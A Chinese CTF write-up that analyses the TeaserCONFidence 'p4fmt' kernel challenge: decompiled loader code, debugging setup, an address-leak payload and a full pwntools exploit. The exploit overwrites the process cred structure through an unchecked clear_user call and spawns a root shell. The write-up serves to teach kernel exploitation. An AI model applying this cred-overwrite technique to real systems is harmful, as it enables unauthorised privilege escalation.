TeaserCONFidence CTF-p4fmt-内核pwn基础分析
Kirin CTF 8441浏览 · 2019-03-31 02:20

p4举办的一场比赛
主要分析一下其中的一道Kernel PWN
题目不算难,但很适合内核入门

p4fmt

Analyze

拿到题目,解压后一共三个文件:

bzImage#内核映像
initramfs.cpio.gz#文件系统
run.sh#qemu启动脚本

qemu启动脚本启动后看到:

====================
p4fmt
====================

Kernel challs are always a bit painful.
No internet access, no SSH, no file copying.

You're stuck with copy pasting base64'd (sometimes static) ELFs.
But what if there was another solution?

We've created a lightweight, simple binary format for your
pwning pleasure. It's time to prove your skills.

根据信息,是一道kernel pwn,flag在根目录,但是只有root可读,需要我们提升权限
且内部定义了一种可执行文件格式
查看文件系统的init脚本:

#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
insmod  /p4fmt.ko  

sleep 2

ln -s /dev/console /dev/ttyS0

cat <<EOF
====================
p4fmt
====================

Kernel challs are always a bit painful.
No internet access, no SSH, no file copying.

You're stuck with copy pasting base64'd (sometimes static) ELFs.
But what if there was another solution?

We've created a lightweight, simple binary format for your
pwning pleasure. It's time to prove your skills.

EOF

setsid cttyhack su pwn
poweroff -f

注意两个地方:

insmod  /p4fmt.ko   加载了p4fmt模块
setsid cttyhack su pwn  以pwn用户启动

首先提取p4fmt模块binary:

gunzip ./initramfs.cpio.gz
cpio -idmv < initramfs.cpio

拿到文件后,ida分析
看到其定义的p4fmt可执行文件格式以及载入过程:

__int64 __fastcall load_p4_binary(__int64 a1)
{
  signed __int64 v1; // rcx
  _BYTE *v2; // rsi
  __int64 v3; // r12
  __int64 v4; // rbx
  _BYTE *v5; // rdi
  unsigned __int64 v6; // r14
  bool v7; // cf
  bool v8; // zf
  __int64 v9; // r13
  unsigned int v10; // ebp
  char v12; // al
  signed __int64 v13; // r12
  signed __int64 v14; // rsi
  unsigned __int64 v15; // rax
  map_info *v16; // r12
  __int64 v17; // ST00_8
  signed __int64 v18; // r14
  unsigned __int64 v19; // r15
  __int64 v20; // r9
  __int64 v21; // rdx
  __int64 v22; // rcx
  __int64 v23; // r8

  v1 = 2LL;
  v2 = &fmt_header;
  v3 = a1 + 0x48;
  v4 = a1;
  v5 = (_BYTE *)(a1 + 0x48);
  v6 = __readgsqword((unsigned __int64)&current_task);
  v7 = 0;
  v8 = 0;
  v9 = *(_QWORD *)(v6 + 0x2A0);
  do                                            // cmp headers
  {
    if ( !v1 )
      break;
    v7 = *v2 < *v5;
    v8 = *v2++ == *v5++;
    --v1;
  }
  while ( v8 );
  if ( (!v7 && !v8) != v7 )
    return (unsigned int)-8;
  JUMPOUT(*(_BYTE *)(v4 + 0x4A), 0, load_p4_binary_cold_2);// cmp \x00->version
  if ( *(_BYTE *)(v4 + 0x4B) > 1u )
    return (unsigned int)-22;
  v10 = flush_old_exec(v4, v2);                 // clear the environment
  if ( !v10 )
  {
    *(_DWORD *)(v6 + 0x80) = 0x800000;
    setup_new_exec(v4);
    v12 = *(_BYTE *)(v4 + 0x4B);
    if ( v12 )                                  // type=1
    {
      if ( v12 != 1 )
        return (unsigned int)-22;
      if ( *(_DWORD *)(v4 + 0x4C) )             // map_time
      {
        v16 = (map_info *)(*(_QWORD *)(v4 + 0x50) + v3);// map_info_offset
        do
        {
          v17 = v16->load_addr;
          v18 = v16->load_addr & 7;
          v19 = v16->load_addr & 0xFFFFFFFFFFFFF000LL;
          printk(
            "vm_mmap(load_addr=0x%llx, length=0x%llx, offset=0x%llx, prot=%d)\n",
            v19,
            v16->length,
            v16->offset,
            v18);
          v20 = v16->offset;
          v21 = v16->length;
          if ( v17 & 8 )
          {
            vm_mmap(0LL, v19, v21, (unsigned __int8)v18, 2LL, v20);
            printk("clear_user(addr=0x%llx, length=0x%llx)\n", v16->load_addr, v16->length, v22, v23);
            _clear_user(v16->load_addr, v16->length);
          }
          else
          {
            vm_mmap(*(_QWORD *)(v4 + 8), v19, v21, (unsigned __int8)v18, 2LL, v20);
          }
          ++v10;
          ++v16;
        }
        while ( *(_DWORD *)(v4 + 0x4C) > v10 );
      }
    }
    else                                        //type=0
    {
      v13 = -12LL;
      if ( (unsigned __int64)vm_mmap(
                               *(_QWORD *)(v4 + 8),
                               *(_QWORD *)(v4 + 80),
                               4096LL,
                               *(_QWORD *)(v4 + 80) & 7LL,
                               2LL,
                               0LL) > 0xFFFFFFFFFFFFF000LL )
      {
LABEL_12:
        install_exec_creds(v4);
        set_binfmt(&p4format);
        v14 = 0x7FFFFFFFF000LL;
        v15 = __readgsqword((unsigned __int64)&current_task);
        if ( *(_QWORD *)v15 & 0x20000000 )
        {
          v14 = 0xC0000000LL;
          if ( !(*(_BYTE *)(v15 + 131) & 8) )
            v14 = 0xFFFFE000LL;
        }
        v10 = setup_arg_pages(v4, v14, 0LL);
        if ( !v10 )
        {
          finalize_exec(v4);
          start_thread(
            v9 + 16216,
            v13,
            *(_QWORD *)(*(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 0x100) + 0x28LL));
        }
        return v10;
      }
    }
    v13 = *(_QWORD *)(v4 + 88);
    goto LABEL_12;
  }
  return v10;
}

可以看到:
首先检验文件头是否为"P4"以及version是否为0
而后调用一次flush_old_exec清理空间
而后通过version后一字节判断type来确定加载方式
注意到第一种加载方式:

if ( v12 )                                  // type=1
    {
      if ( v12 != 1 )
        return (unsigned int)-22;
      if ( *(_DWORD *)(v4 + 0x4C) )             // map_time
      {
        v16 = (map_info *)(*(_QWORD *)(v4 + 0x50) + v3);// map_info_offset
        do
        {
          v17 = v16->load_addr;
          v18 = v16->load_addr & 7;
          v19 = v16->load_addr & 0xFFFFFFFFFFFFF000LL;
          printk(
            "vm_mmap(load_addr=0x%llx, length=0x%llx, offset=0x%llx, prot=%d)\n",
            v19,
            v16->length,
            v16->offset,
            v18);
          v20 = v16->offset;
          v21 = v16->length;
          if ( v17 & 8 )
          {
            vm_mmap(0LL, v19, v21, (unsigned __int8)v18, 2LL, v20);
            printk("clear_user(addr=0x%llx, length=0x%llx)\n", v16->load_addr, v16->length, v22, v23);
            _clear_user(v16->load_addr, v16->length);
          }
          else
          {
            vm_mmap(*(_QWORD *)(v4 + 8), v19, v21, (unsigned __int8)v18, 2LL, v20);
          }
          ++v10;
          ++v16;
        }
        while ( *(_DWORD *)(v4 + 0x4C) > v10 );
      }
    }

首先会通过type后一字节决定操作次数
而后通过一个map_info结构体来调用vm_mmap和clear_user
其中会把调用参数通过printk输出
map_info:

00000000 map_info        struc ; (sizeof=0x18, mappedto_3)
00000000 load_addr       dq ?
00000008 length          dq ?
00000010 offset          dq ?
00000018 map_info        ends

同时可以看到:

LABEL_12:
        install_exec_creds(v4);
        set_binfmt(&p4format);
        v14 = 0x7FFFFFFFF000LL;
        v15 = __readgsqword((unsigned __int64)&current_task);
        if ( *(_QWORD *)v15 & 0x20000000 )
        {
          v14 = 0xC0000000LL;
          if ( !(*(_BYTE *)(v15 + 131) & 8) )
            v14 = 0xFFFFE000LL;
        }
        v10 = setup_arg_pages(v4, v14, 0LL);
        if ( !v10 )
        {
          finalize_exec(v4);
          start_thread(
            v9 + 16216,
            v13,
            *(_QWORD *)(*(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 0x100) + 0x28LL));
        }
        return v10;
      }
    }
    v13 = *(_QWORD *)(v4 + 0x58);
    goto LABEL_12;

程序会以文件偏移0x58-0x48=0x10处的值作为程序入口点
而后执行: install_exec_creds:

void install_exec_creds(struct linux_binprm *bprm)
{
    security_bprm_committing_creds(bprm);

    commit_creds(bprm->cred);
    bprm->cred = NULL;

    if (get_dumpable(current->mm) != SUID_DUMP_USER)
        perf_event_exit_task(current);

    security_bprm_committed_creds(bprm);
    mutex_unlock(&current->signal->cred_guard_mutex);
}

所以可执行文件整体格式:

"P4\x00"
(char)type
(int)map_info_num
(long)map_info_offset
(long)entry
((map_info struct)map_info)*map_info_num
the_code_will_exec

因此我们需要想办法使我们的最后code运行在root身份下
此时code只需执行shell或者直接读取/flag操作即可
注意到加载过程中根据map_info程序会有clear_user操作:

if ( v17 & 8 )
          {
            vm_mmap(0LL, v19, v21, (unsigned __int8)v18, 2LL, v20);
            printk("clear_user(addr=0x%llx, length=0x%llx)\n", v16->load_addr, v16->length, v22, v23);
            _clear_user(v16->load_addr, v16->length);
          }

但是程序并没有检测此处指针
根据前面的 install_exec_creds,程序会根据commit_creds(bprm->cred)来设置线程权限
因此我们可以传入clear_user一个指针指向此cred结构体特定位置来覆盖uid和gid来提升线程权限,而后commit_creds(bprm->cred)即会根据我们覆盖后的fake_cred来设置线程权限执行我们的code

关于linux_binprm:

struct linux_binprm {
  char buf[BINPRM_BUF_SIZE];
 #ifdef CONFIG_MMU
  struct vm_area_struct *vma;
  unsigned long vma_pages;
 #else
 # define MAX_ARG_PAGES 32
  struct page *page[MAX_ARG_PAGES];
 #endif
  struct mm_struct *mm;
  unsigned long p; /* current top of mem */
  unsigned long argmin; /* rlimit marker for copy_strings() */
  unsigned int
    /*
    * True after the bprm_set_creds hook has been called once
    * (multiple calls can be made via prepare_binprm() for
    * binfmt_script/misc).
    */
    called_set_creds:1,
    /*
    * True if most recent call to the commoncaps bprm_set_creds
    * hook (due to multiple prepare_binprm() calls from the
    * binfmt_script/misc handlers) resulted in elevated
    * privileges.
    */
    cap_elevated:1,
    /*
    * Set by bprm_set_creds hook to indicate a privilege-gaining
    * exec has happened. Used to sanitize execution environment 
   * and to set AT_SECURE auxv for glibc.
    */
    secureexec:1;
 #ifdef __alpha__
  unsigned int taso:1; 
#endif
  unsigned int recursion_depth; /* only for search_binary_handler() */
  struct file * file; 
 struct cred *cred; /* new credentials */
  int unsafe;   /* how unsafe this exec is (mask of LSM_UNSAFE_*) */
  unsigned int per_clear; /* bits to clear in current-&gt;personality */
  int argc, envc;
  const char * filename; /* Name of binary as seen by procps */
  const char * interp; /* Name of the binary really executed. Most
   of the time same as filename, but could be
   different for binfmt_{misc,script} */
  unsigned interp_flags;
  unsigned interp_data;
  unsigned long loader, exec;
  struct rlimit rlim_stack; /* Saved RLIMIT_STACK used during exec. */
 } __randomize_layout;

关于cred:

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC  0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
    kuid_t      uid;        /* real UID of the task */
    kgid_t      gid;        /* real GID of the task */
    kuid_t      suid;       /* saved UID of the task */
    kgid_t      sgid;       /* saved GID of the task */
    kuid_t      euid;       /* effective UID of the task */
    kgid_t      egid;       /* effective GID of the task */
    kuid_t      fsuid;      /* UID for VFS ops */
    kgid_t      fsgid;      /* GID for VFS ops */
    unsigned    securebits; /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;  /* caps we're permitted */
    kernel_cap_t    cap_effective;  /* caps we can actually use */
    kernel_cap_t    cap_bset;   /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char   jit_keyring;    /* default keyring to attach requested
                     * keys to */
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key  *process_keyring; /* keyring private to this process */
    struct key  *thread_keyring; /* keyring private to this thread */
    struct key  *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;  /* subjective LSM security */
#endif
    struct user_struct *user;   /* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;  /* supplementary groups for euid/fsgid */
    struct rcu_head rcu;        /* RCU deletion hook */
};

cred是每个线程记录本线程权限的结构体
当我们将uid和gid覆盖为0即可使此线程获得root权限
(root运行下uid和gid皆为0)

Debug

关于调试和leak cred
首先为了便于调试,将身份改为root,修改init脚本并重新打包文件系统:

#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
insmod  /p4fmt.ko  

sleep 2

ln -s /dev/console /dev/ttyS0

cat <<EOF
====================
p4fmt
====================

Kernel challs are always a bit painful.
No internet access, no SSH, no file copying.

You're stuck with copy pasting base64'd (sometimes static) ELFs.
But what if there was another solution?

We've created a lightweight, simple binary format for your
pwning pleasure. It's time to prove your skills.

EOF

setsid cttyhack su root
poweroff -f

而后重新打包文件系统:

find . | cpio -o -H  newc |gzip -9 > ../kirin.cpio.gz

而后从bzImage提取vmlinux便于调试:

#!/bin/sh
check_vmlinux()
{
    # Use readelf to check if it's a valid ELF
    # TODO: find a better to way to check that it's really vmlinux
    #       and not just an elf
    readelf -h $1 > /dev/null 2>&1 || return 1

    cat $1
    exit 0
}

try_decompress()
{
    # The obscure use of the "tr" filter is to work around older versions of
    # "grep" that report the byte offset of the line instead of the pattern.

    # Try to find the header ($1) and decompress from here
    for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
    do
        pos=${pos%%:*}
        tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
        check_vmlinux $tmp
    done
}

# Check invocation:
me=${0##*/}
img=$1
if  [ $# -ne 1 -o ! -s "$img" ]
then
    echo "Usage: $me <kernel-image>" >&2
    exit 2
fi

# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0

# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy    gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh'          xy    bunzip2
try_decompress '\135\0\0\0'   xxx   unlzma
try_decompress '\211\114\132' xy    'lzop -d'
try_decompress '\002!L\030'   xxx   'lz4 -d'
try_decompress '(\265/\375'   xxx   unzstd

# Finally check for uncompressed images or objects:
check_vmlinux $img

# Bail out:
echo "$me: Cannot find vmlinux." >&2

运行:

kirin.sh  ./bzImage  > ./vmlinux

最后更改qemu启动脚本以便调试内核:

#!/bin/bash
qemu-system-x86_64 -s  -kernel ./bzImage \
        -initrd ./kirin.cpio.gz \
        -nographic \
        -append "console=ttyS0 nokaslr" \
#-s:1234端口调试内核
#nokaslr关闭内核地址随机,便于调试

运行gdb连接即可:

/ # whoami
root
/ # cat /proc/modules 
p4fmt 16384 0 - Live 0xffffffffc0000000 (O)
qemu虚拟机下看到p4fmt模块的加载地址
连接gdb并加载符号表:
gdb ./vmlinux
target remote 127.0.0.1:1234
add-symbol-file ./p4fmt.ko 0xffffffffc0000000

关于leak:
在load_p4_binary调用install_exec_creds时下断点

b *0xffffffffc00000af

而后随意写一个满足上面格式的程序运行,gdb断在install_exec_creds以便查看cred相对bprm的偏移
实际上可以直接查看汇编:

x/10i 0xffffffffc00000af
pwndbg> x/10i 0xffffffffc00000af
   0xffffffffc00000af <load_p4_binary+175>: call   0xffffffff81189ec0
   0xffffffffc00000b4 <load_p4_binary+180>: mov    rdi,0xffffffffc0002000
   0xffffffffc00000bb <load_p4_binary+187>: call   0xffffffff8118a130
   0xffffffffc00000c0 <load_p4_binary+192>: movabs rsi,0x7ffffffff000
   0xffffffffc00000ca <load_p4_binary+202>: mov    rax,QWORD PTR gs:0x14d40
   0xffffffffc00000d3 <load_p4_binary+211>: mov    rdx,QWORD PTR [rax]
   0xffffffffc00000d6 <load_p4_binary+214>: test   edx,0x20000000
   0xffffffffc00000dc <load_p4_binary+220>: je     0xffffffffc00000f3 <load_p4_binary+243>
   0xffffffffc00000de <load_p4_binary+222>: test   BYTE PTR [rax+0x83],0x8
   0xffffffffc00000e5 <load_p4_binary+229>: mov    esi,0xc0000000

跟进0xffffffff81189ec0:

pwndbg> x/10i 0xffffffff81189ec0
=> 0xffffffff81189ec0:  push   rbx
   0xffffffff81189ec1:  mov    rbx,rdi
   0xffffffff81189ec4:  call   0xffffffff81297aa0
   0xffffffff81189ec9:  mov    rdi,QWORD PTR [rbx+0xe0]
   0xffffffff81189ed0:  call   0xffffffff81073d30
   0xffffffff81189ed5:  mov    QWORD PTR [rbx+0xe0],0x0
   0xffffffff81189ee0:  mov    rdi,QWORD PTR gs:0x14d40
   0xffffffff81189ee9:  mov    rax,QWORD PTR [rdi+0x100]
   0xffffffff81189ef0:  mov    rax,QWORD PTR [rax+0x148]
   0xffffffff81189ef7:  and    eax,0x3

可以看到偏移位置为0xe0
随意运行一个调试:

pwndbg> x/30xg 0xffff8880077b2400
0xffff8880077b2400: 0xffff888007530020  0xffff8880077d7280
0xffff8880077b2410: 0x0000000000000000  0xffff888007530020
0xffff8880077b2420: 0x0000000000000000  0x00007fffffdff030
0xffff8880077b2430: 0x0000000000000000  0x0000000000000000
0xffff8880077b2440: 0x0000000600000000  0x0000000101003450
0xffff8880077b2450: 0x0000000000000090  0xffffffff89262008
0xffff8880077b2460: 0x0000000000002000  0x0000000000000000
0xffff8880077b2470: 0x6262626262626262  0x6161616161616161
0xffff8880077b2480: 0x6161616161616161  0x6161616161616161
0xffff8880077b2490: 0x6161616161616161  0x6161616161616161
0xffff8880077b24a0: 0x6161616161616161  0x6161616161616161
0xffff8880077b24b0: 0x6161616161616161  0x6161616161616161
0xffff8880077b24c0: 0x6161616161616161  0x00007fffffffefae
0xffff8880077b24d0: 0x0000000100000001  0x0000000000000000
0xffff8880077b24e0: 0xffff88800756c3c0  0x0000000000000000
pwndbg> x/20xg 0xffff88800756c3c0
0xffff88800756c3c0: 0x0000000000000000  0xffff88800770f440
0xffff88800756c3d0: 0x0000003fffffffff  0x0000000000000000
0xffff88800756c3e0: 0x0000000000000000  0x0000000000000000
0xffff88800756c3f0: 0xffffffff00000000  0x000000000000003f
0xffff88800756c400: 0x0000003fffffffff  0x0000000000000000
0xffff88800756c410: 0x0000000000000000  0x0000000000000000
0xffff88800756c420: 0x0000000000000000  0xffffffff81c38280
0xffff88800756c430: 0x0000000000000000  0x0000000000000000
0xffff88800756c440: 0x0000000000000001  0x0000000000000000
0xffff88800756c450: 0x0000000000000000  0x0000000000000000

可以看到偏移0xe0位置为0xffff88800756c3c0
而0xffff88800756c3c0下对应uid和gid位置都为0(debug时是root身份)
同而注意到程序会打印vmmap和clear_user的参数
因此可以将map_info_offset指向这里来vmmap(偏移位置为0xe0,即距离文件头偏移:0xe0-0x48=0x98位置,但是load_addr有位运算操作再传参并输出,因此这里选择设置map_info_offset为0x90,使length为cred_addr并leak),此时即会打印出cred的地址,虽然最后会crash,不过能leak一次cred地址
这里注意,开启内核地址随机化时cred地址线程间并不相同
但是真实环境下可以观察到cred地址会是一组地址的循环,因此可以预估下次程序启动时cred地址从而覆盖掉uid和gid完成提权
leak:

from pwn import  *

payload = ""
payload += "P4"             
payload += p8(0)# version
payload += p8(1)# type
payload += p32(1)# map_count
payload += p64(0x90)#map_info_offset
payload += p64(0)     # entry
payload += "kirin"
print payload.encode("base64")
#output=UDQAAQEAAACQAAAAAAAAAAAAAAAAAAAAa2lyaW4=
echo -n "UDQAAQEAAACQAAAAAAAAAAAAAAAAAAAAa2lyaW4=" | base64 -d > /tmp/kirin
chmod +x  /tmp/kirin
/tmp/kirin

可以看到cred地址规律:

/tmp $ ./kirin
[  310.536033] vm_mmap(load_addr=0x0, length=0xffff90e845d72300, offset=0x0, prot=0)
[  310.538726] kirin[559]: segfault at 0 ip 0000000000000000 sp 00007fffffffef91 error 14
[  310.543394] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[  311.480867] vm_mmap(load_addr=0x0, length=0xffff90e845d729c0, offset=0x0, prot=0)
[  311.483814] kirin[560]: segfault at 0 ip 0000000000000000 sp 00007fffffffdf91 error 14
[  311.486224] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[  312.793369] vm_mmap(load_addr=0x0, length=0xffff90e845d72cc0, offset=0x0, prot=0)
[  312.797228] kirin[561]: segfault at 0 ip 0000000000000000 sp 00007fffffffdf91 error 14
[  312.804765] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[  314.042323] vm_mmap(load_addr=0x0, length=0xffff90e845d72b40, offset=0x0, prot=0)
[  314.045054] kirin[562]: segfault at 0 ip 0000000000000000 sp 00007fffffffdf91 error 14
[  314.047779] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[  315.349773] vm_mmap(load_addr=0x0, length=0xffff90e845d72840, offset=0x0, prot=0)
[  315.352563] kirin[563]: segfault at 0 ip 0000000000000000 sp 00007fffffffdf91 error 14
[  315.357168] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[  316.229283] vm_mmap(load_addr=0x0, length=0xffff90e845d72300, offset=0x0, prot=0)
[  316.232561] kirin[564]: segfault at 0 ip 0000000000000000 sp 00007fffffffdf91 error 14
[  316.234984] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[  316.954076] vm_mmap(load_addr=0x0, length=0xffff90e845d729c0, offset=0x0, prot=0)
[  316.957635] kirin[565]: segfault at 0 ip 0000000000000000 sp 00007fffffffef91 error 14
[  316.960276] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[  317.663571] vm_mmap(load_addr=0x0, length=0xffff90e845d72cc0, offset=0x0, prot=0)
[  317.667293] kirin[566]: segfault at 0 ip 0000000000000000 sp 00007fffffffef91 error 14
[  317.669847] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[  318.516134] vm_mmap(load_addr=0x0, length=0xffff90e845d72b40, offset=0x0, prot=0)
[  318.518924] kirin[567]: segfault at 0 ip 0000000000000000 sp 00007fffffffdf91 error 14
[  318.522188] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[  319.341463] vm_mmap(load_addr=0x0, length=0xffff90e845d72840, offset=0x0, prot=0)
[  319.343774] kirin[568]: segfault at 0 ip 0000000000000000 sp 00007fffffffef91 error 14
[  319.346129] Code: Bad RIP value.
Segmentation fault
/tmp $

可以看到每五个一个循环(至少在短时间内是这样)
所以我们完全可以leak出一次循环后猜测下次cred位置,而后提权到root拿到flag
但是我在编写exp时遇到了问题
最初想法是leak出五个地址,而后利用循环预测
但是其实一段时间之后,这五个地址会变化,不过也会循环,这样虽然可以把所有可能情况列举生成exp,然后再预测,不过有点太麻烦
所以最终选择leak处一个地址后直接循环此exp,减小中间的时间(我并不确定内核的这种地址循环是时间还是轮数问题),很大地提高了命中率(约为100%)

EXP

from pwn import *

#context.log_level="debug"

def get_payload(addr):
    payload="P4"
    payload+=p8(0)#version
    payload+=p8(1)#type
    payload+=p32(2)#map_info_num
    payload+=p64(0x18)#map_info_offset
    payload+=p64(0x400048)#entry
    payload+=p64(0x400000|7)#port=7->rwx
    payload+=p64(0x1000)#length
    payload+=p64(0)#offset
    payload+=p64((addr|8)+0x10)#cred
    payload+=p64(0x48)#overwrite_length
    payload+=p64(0)
    payload+=asm(shellcraft.amd64.sh(),arch="amd64")
    return payload.encode("base64").strip()
p=process("./run.sh")
p.sendlineafter("/ $ ",'echo -n "UDQAAQEAAACQAAAAAAAAAAAAAAAAAAAAa2lyaW4=" | base64 -d > /tmp/kirin; chmod +x /tmp/kirin')
p.sendlineafter("/ $ ","/tmp/kirin")
p.recvuntil("length=")
addr=int(p.recvuntil(",")[:-1],16)
print hex(addr)
exp=get_payload(addr)
cmd='echo -n "%s" | base64 -d > /tmp/exp; chmod +x /tmp/exp' %exp
p.sendlineafter("/ $ ",cmd)
p.recvuntil("$ ")
for i in range(10):
    p.sendline("/tmp/exp")
    p.recvuntil("/ ",timeout=1)
    ans=p.recv(2)  
    print ans[0] 
    if ans[0]=='#':
        print "Get Shell Successfully"
        break
    if i==9:
        print "Failed this time,please try again!"
p.interactive()
0 条评论
某人
表情
可输入 255
目录